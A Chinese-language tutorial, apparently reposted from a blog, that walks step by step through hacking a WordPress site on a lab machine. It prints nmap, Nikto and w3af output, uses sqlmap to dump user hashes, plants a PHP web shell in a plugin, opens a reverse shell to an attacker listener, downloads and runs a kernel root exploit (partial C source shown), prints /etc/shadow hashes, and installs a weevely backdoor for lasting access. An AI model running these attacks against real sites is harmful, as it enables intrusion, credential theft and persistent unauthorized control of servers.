這個問題的答案可能很難確定，僅僅是因為有很多方法可以入侵一個網站。我們在本文中的目的是向您展示黑客在定位和入侵您的網站時最常用的技術！

假設這是您的站點：hack-test.com

讓我們ping這個站點來獲取服務器IP：

現在我們有 173.236.138.113 - 這是我們的目標站點托管的服務器 IP。

要查找托管在同一服務器上的其他站點，我們將使用 sameip.org：

托管在 IP 地址 173.236.138.113 上的相同 IP
26 站點

ID 領域 網站鏈接

我們需要有關您網站的更多信息，例如：

DNS 記錄（A、NS、TXT、MX 和 SOA）
Web 服務器類型（Apache、IIS、Tomcat）
注冊商（擁有您的域名的公司）
您的姓名、地址、電子郵件和電話
您的站點使用的腳本（php、asp、asp.net、jsp、cfm）
您的服務器操作系統（Unix、Linux、Windows、Solaris）
您的服務器打開 Internet 端口（80、443、21 等）
讓我們從查找您站點的 DNS 記錄開始。我們將使用“Who.is”網站來實現這一目標：

我們發現您的站點 DNS 記錄是：

HACK-TEST.COM DNS 記錄

讓我們確定 Web 服務器類型：

如您所見，您的站點 Web 服務器是 Apache。我們將在稍后確定其版本。

HACK-TEST.COM 網站信息

IP：173.236.138.113
網站狀態：活動
服務器類型：Apache
Alexa 趨勢/排名：1 個月：3,213,968 3 個月：2,161,753
每次訪問頁面瀏覽量：1 個月：2.0 3 個月：3.7

現在是時候找到您的 Doman Registrar 以及您的姓名、地址、電子郵件和電話：

我們現在已經獲得了您的注冊商和其他有關您的重要信息。我們可以使用 backtrack 5 R1 中名為 Whatweb 的酷工具找到您站點上的腳本類型（操作系統類型、Web 服務器版本）：

現在我們發現您的站點正在使用一個名為 WordPress 的著名 php 腳本，您的服務器操作系統是 Fedora Linux，您的 Web 服務器版本是 (apache 2.2.15)，讓我們在您的服務器中找到開放的端口。

為此，我們將使用 nmap：

1 – 查找在服務器上運行的服務

[源代碼]

root@bt:/# nmap -sV hack-test.comStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-12-28 06:39 EET Nmap scan report for hack-test.com (192.168.1.2) Host is up (0.0013s latency). Not shown: 998 filtered ports PORT STATE SERVICE VERSION 22/tcp closed ssh 80/tcp open http Apache httpd 2.2.15 ((Fedora)) MAC Address: 00:0C:29:01:8A:4D (VMware)Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 11.56 seconds

[源代碼]

root@bt:/# nmap -O hack-test.comStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-12-28 06:40 EET Nmap scan report for hack-test.com (192.168.1.2) Host is up (0.00079s latency). Not shown: 998 filtered ports PORT STATE SERVICE 22/tcp closed ssh80/tcp open http MAC Address: 00:0C:29:01:8A:4D (VMware) Device type: general purpose Running: Linux 2.6.X OS details: Linux 2.6.22 (Fedora Core 6) Network Distance: 1 hopOS detection performed. Please report any incorrect results at http://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 7.42 seconds [/sourcecode]Only port 80 is open and OS is Linux 2.6.22(Fedora Core 6)Now that we have gathered all the important information about your site, let’s scan it for vulnerabilities likeSql injection – Blind sql injection – LFI – RFI – XSS – CSRF, and so forth.We will use Nikto.pl to gather info, perhaps, some vulnerabilities:[sourcecode] root@bt:/pentest/web/nikto# perl nikto.pl -h http://hack-test.com– Nikto v2.1.4—————————————————————————+ Target IP: 192.168.1.2 + Target Hostname: hack-test.com + Target Port: 80 + Start Time: 2011-12-29 06:50:03—————————————————————————+ Server: Apache/2.2.15 (Fedora) + ETag header found on server, inode: 12748, size: 1475, mtime: 0x4996d177f5c3b + Apache/2.2.15 appears to be outdated (current is at least Apache/2.2.17). Apache 1.3.42 (final release) and 2.0.64 are also current. + Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE + OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST + OSVDB-3268: /icons/: Directory indexing found. + OSVDB-3233: /icons/README: Apache default file found. + 6448 items checked: 1 error(s) and 6 item(s) reported on remote host + End Time: 2011-12-29 06:50:37 (34 seconds)—————————————————————————+ 1 host(s) tested [/sourcecode]We will also use W3AF. You can find this tool in backtrack 5 R1[sourcecode] root@bt:/pentest/web/w3af# ./w3af_guiStarting w3af, running on: Python version: 2.6.5 (r265:79063, Apr 16 2010, 13:57:41) [GCC 4.4.3] GTK version: 2.20.1 PyGTK version: 2.17.0w3af – Web Application Attack and Audit Framework Version: 1.2 Revision: 4605 Author: Andres Riancho and the w3af team.

[源代碼]

root@bt:/pentest/web/w3af# ./w3af_guiStarting w3af, running on: Python version: 2.6.5 (r265:79063, Apr 16 2010, 13:57:41) [GCC 4.4.3] GTK version: 2.20.1 PyGTK version: 2.17.0w3af – Web Application Attack and Audit Framework Version: 1.2 Revision: 4605 Author: Andres Riancho and the w3af team. w3af – Web

我們將插入我們的站點 URL 并選擇完整審核選項：

一段時間后，掃描將完成，您將看到

您的站點容易受到 sql 注入、xss 和其他攻擊！

我們來調查一下sql注入漏洞：

http://hack-test.com/Hackademic_RTB1/?cat=d%27z%220

這是易受攻擊的 url，cat 是易受攻擊的參數。

那么，讓我們利用這個漏洞：

我們會發現利用這個漏洞失敗了，所以我們將使用sqlmap到job中并轉儲我們需要破解這個站點的所有數據庫信息J

將 sqlmap 與 –u url 一起使用

幾秒鐘后你會看到

輸入 n 并按回車鍵繼續

如您所見，您的站點容易受到基于錯誤的 sql 注入的攻擊，并且您的 mysql 數據庫版本為 5

讓我們通過添加“-dbs”來查找您站點中的所有數據庫

現在我們找到了 3 個數據庫

我們將通過添加“–D wordpress –tables”來轉儲 wordpress 數據庫表

我們會找到所有的 wordpress 表格

我們要轉儲“wp_users”表，所以我們會找到所有用戶（admin？）信息（用戶名和密碼hash）并嘗試破解hash并進入wordpress控制面板（wp-admin）

我們將“wp_users”表的列添加“-T wp_users –columns”

我們會找到 22 列

我們只需要轉儲到列，因此我們將通過添加轉儲（user_login 和 user_pass）列

-C user_login,user_pass –dump

我們會找到重要的信息；我們現在找到了用戶并傳遞了哈希值

但我們想破解這些哈希來清除文本密碼。我們將使用在線網站“ http://www.onlinehashcrack.com/free-hash-reverse.php ”

并嘗試破解這個哈希7CBB3252BA6B7E9C422FAC5334D22054

明文密碼是q1w2e3

用戶名為“GeorgeMiller”

我們將在“wp-admin”中使用這些詳細信息登錄

我們在！

好的，讓我們嘗試上傳 php web shell 以在您的站點服務器上運行一些 linux 命令J

我們將在 wordpress 中編輯一個名為“ Textile ”的插件或您在插件頁面中找到的任何插件。

并選擇編輯它

我們將插入 php web shell 而不是真正的插件。完成此操作后，我們將點擊“更新文件”并瀏覽到我們的新 php shell

哇，php shell 有效。現在我們可以操作您的站點文件，但我們只想在您的服務器上獲得 root 權限并入侵所有其他站點。

我們將從php web shell中選擇“back-connect”選項卡，并在端口“5555”上重新連接到我們的ip“192.168.1.6”

但是在我們點擊連接之前，我們首先讓 netcat 監聽攻擊者機器上的“5555”端口

現在點擊連接，你會看到：

讓我們嘗試一些 linux 命令

[源代碼]
id

uid=48(apache) gid=489(apache) 組=489(apache)

密碼

/var/www/html/Hackademic_RTB1/wp-content/plugins

uname -a

Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux
[/ sourcecode ]

id 命令用于向我們顯示用戶 id、組。

pwd 命令用于向我們顯示我們在服務器上的當前路徑

uname –a 命令用于向我們展示一些內核版本信息

好的，現在我們知道服務器內核版本是 2.6.31.5-127.fc12.1686

讓我們在exploit-db.com中搜索此版本或更新版本的exploit

我們將輸入“kernel 2.6.31”

這些都不符合要求，因為它們都不是特權升級漏洞。然而，下一個是。

http://www.exploit-db.com/exploits/15285

我打開這個網址并復制了這個鏈接

http://www.exploit-db.com/download/15285

并在我的 netcat shell 上執行此命令

[源代碼]

wget http://www.exploit-db.com/download/15285 -O roro.c –2011-12-28 00:48:01– http://www.exploit-db.com/download/15285 Resolving www.exploit-db.com… 199.27.135.111, 199.27.134.111 Connecting to www.exploit-db.com|199.27.135.111|:80… connected. HTTP request sent, awaiting response… 301 Moved Permanently Location: http://www.exploit-db.com/download/15285/ [following] –2011-12-28 00:48:02– http://www.exploit-db.com/download/15285/ Connecting to www.exploit-db.com|199.27.135.111|:80… connected. HTTP request sent, awaiting response… 200 OK Length: 7154 (7.0K) [application/txt] Saving to: `roro.c’0K …… 100% 29.7K=0.2s

[/源代碼]

我們使用 wget 命令從exploit-db.com 獲取exploit，并使用-O 將其重命名為roro.c

注意： linux內核漏洞利用主要是用c語言開發的，所以我們將其保存在.c擴展名中，只需查看漏洞利用源代碼，您就會發現

#include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <errno.h> #include <string.h> #include <sys/ptrace.h> #include <sys/utsname.h> #define RECVPORT 5555 #define SENDPORT 6666 intprep_sock(intport) { ints, ret; structsockaddr_in addr; s = socket(PF_RDS, SOCK_SEQPACKET, 0); if(s < 0) { printf(“[*] Could not open socket.n”); exit(-1); } memset(&addr, 0, sizeof(addr));

并通過鍵入運行我們的漏洞利用

[源代碼]

./roro[*] Linux kernel >= 2.6.30 RDS socket exploit [*] by Dan Rosenberg [*] Resolving kernel addresses… [+] Resolved rds_proto_ops to 0xe09f0b20 [+] Resolved rds_ioctl to 0xe09db06a [+] Resolved commit_creds to 0xc044e5f1 [+] Resolved prepare_kernel_cred to 0xc044e452 [*] Overwriting function pointer… [*] Linux kernel >= 2.6.30 RDS socket exploit [*] by Dan Rosenberg [*] Resolving kernel addresses… [+] Resolved rds_proto_ops to 0xe09f0b20 [+] Resolved rds_ioctl to 0xe09db06a [+] Resolved commit_creds to 0xc044e5f1 [+] Resolved prepare_kernel_cred to 0xc044e452 [*] Overwriting function pointer… [*] Triggering payload… [*] Restoring function pointer… [/sourcecode]

然后我們輸入

Id

我們會發現我們是根J

uid=0(root) gid=0(root)

我們現在可以查看 /etc/shadow 文件

[sourcecode] cat /etc/shadow root:$6$4l1OVmLPSV28eVCT$FqycC5mozZ8mqiqgfudLsHUk7R1EMU/FXw3pOcOb39LXekt9VY6HyGkXcLEO.ab9F9t7BqTdxSJvCcy.iYlcp0:14981:0:99999:7::: bin:*:14495:0:99999:7::: daemon:*:14495:0:99999:7::: adm:*:14495:0:99999:7::: lp:*:14495:0:99999:7::: sync:*:14495:0:99999:7::: shutdown:*:14495:0:99999:7::: halt:*:14495:0:99999:7::: mail:*:14495:0:99999:7::: uucp:*:14495:0:99999:7::: operator:*:14495:0:99999:7::: games:*:14495:0:99999:7::: gopher:*:14495:0:99999:7::: ftp:*:14495:0:99999:7::: nobody:*:14495:0:99999:7::: vcsa:!!:14557:::::: avahi-autoipd:!!:14557:::::: ntp:!!:14557:::::: dbus:!!:14557:::::: rtkit:!!:14557:::::: nscd:!!:14557:::::: tcpdump:!!:14557:::::: avahi:!!:14557:::::: haldaemon:!!:14557:::::: openvpn:!!:14557:::::: apache:!!:14557:::::: saslauth:!!:14557:::::: mailnull:!!:14557:::::: smmsp:!!:14557:::::: smolt:!!:14557:::::: sshd:!!:14557:::::: pulse:!!:14557:::::: gdm:!!:14557:::::: p0wnbox.Team:$6$rPArLuwe8rM9Avwv$a5coOdUCQQY7NgvTnXaFj2D5SmggRrFsr6TP8g7IATVeEt37LUGJYvHM1myhelCyPkIjd8Yv5olMnUhwbQL76/:14981:0:99999:7::: mysql:!!:14981:::::: [/sourcecode]And view /etc/passwd file[sourcecode]cat /etc/passwdroot:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin gopher:x:13:30:gopher:/var/gopher:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin vcsa:x:69:499:virtual console memory owner:/dev:/sbin/nologin avahi-autoipd:x:499:498:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin ntp:x:38:38::/etc/ntp:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin rtkit:x:498:494:RealtimeKit:/proc:/sbin/nologin nscd:x:28:493:NSCD Daemon:/:/sbin/nologin tcpdump:x:72:72::/:/sbin/nologin avahi:x:497:492:avahi-daemon:/var/run/avahi-daemon:/sbin/nologin haldaemon:x:68:491:HAL daemon:/:/sbin/nologin openvpn:x:496:490:OpenVPN:/etc/openvpn:/sbin/nologin apache:x:48:489:Apache:/var/www:/sbin/nologin saslauth:x:495:488:”Saslauthd user”:/var/empty/saslauth:/sbin/nologin mailnull:x:47:487::/var/spool/mqueue:/sbin/nologin smmsp:x:51:486::/var/spool/mqueue:/sbin/nologin smolt:x:494:485:Smolt:/usr/share/smolt:/sbin/nologin sshd:x:74:484:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin pulse:x:493:483:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin gdm:x:42:481::/var/lib/gdm:/sbin/nologin p0wnbox.Team:x:500:500:p0wnbox.Team:/home/p0wnbox.Team:/bin/bash mysql:x:27:480:MySQL Server:/var/lib/mysql:/bin/bash[/sourcecode]

我們可以破解所有用戶密碼 “john the ripper”工具。
　　
但是我們不會這樣做;我們要保持訪問這個服務器我們可以任何時間來訪問/黑客J
　　
我們將使用weevely小和php編碼與密碼保護和上傳這個php后門后門到我們的服務器。
　　
讓我們干起來吧

1 - weevely使用選項 :

[sourcecode] root@bt:/pentest/backdoors/web/weevely# ./main.py –Weevely 0.3 – Generate and manage stealth PHP backdoors. Copyright (c) 2011-2012 Weevely Developers Website: http://code.google.com/p/weevely/Usage: main.py [options]Options:-h, –help show this help message and exit -g, –generate Generate backdoor crypted code, requires -o and -p . -o OUTPUT, –output=OUTPUT Output filename for generated backdoor . -c COMMAND, –command=COMMAND Execute a single command and exit, requires -u and -p . -t, –terminal Start a terminal-like session, requires -u and -p . -C CLUSTER, –cluster=CLUSTER Start in cluster mode reading items from the give file, in the form ‘label,url,password’ where label is optional. -p PASSWORD, –password=PASSWORD Password of the encrypted backdoor . -u URL, –url=URL Remote backdoor URL . [/sourcecode]

2.用weevely創建一個密碼為koko的php后門

[sourcecode] root@bt:/pentest/backdoors/web/weevely# ./main.py -g -o hax.php -p kokoWeevely 0.3 – Generate and manage stealth PHP backdoors. Copyright (c) 2011-2012 Weevely Developers Website: http://code.google.com/p/weevely/+ Backdoor file ‘hax.php’ created with password ‘koko’.[/sourcecode]

3 - php后門上傳到服務器使用php web層

接下來上傳到服務器之后來使用它

[sourcecode] root@bt:/pentest/backdoors/web/weevely# ./main.py -t -u http://hack-test.com/Hackademic_RTB1/wp-content/plugins/hax.php -p kokoWeevely 0.3 – Generate and manage stealth PHP backdoors. Copyright (c) 2011-2012 Weevely Developers Website: http://code.google.com/p/weevely/+ Using method ‘system()’. + Retrieving terminal basic environment variables .[apache@HackademicRTB1 /var/www/html/Hackademic_RTB1/wp-content/plugins] [/sourcecode]

測試我們的 hax.php 后門

結論：
在本文中，我們學習了一些黑客正在使用的技術來定位和入侵您的網站和服務器。我希望你喜歡這篇文章并喜歡它。


【騰訊文檔】贈送價值11980安全學習資料包！【點擊獲取】

總結

以上是生活随笔為你收集整理的实操教程：黑客如何瞄准和入侵网站的的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。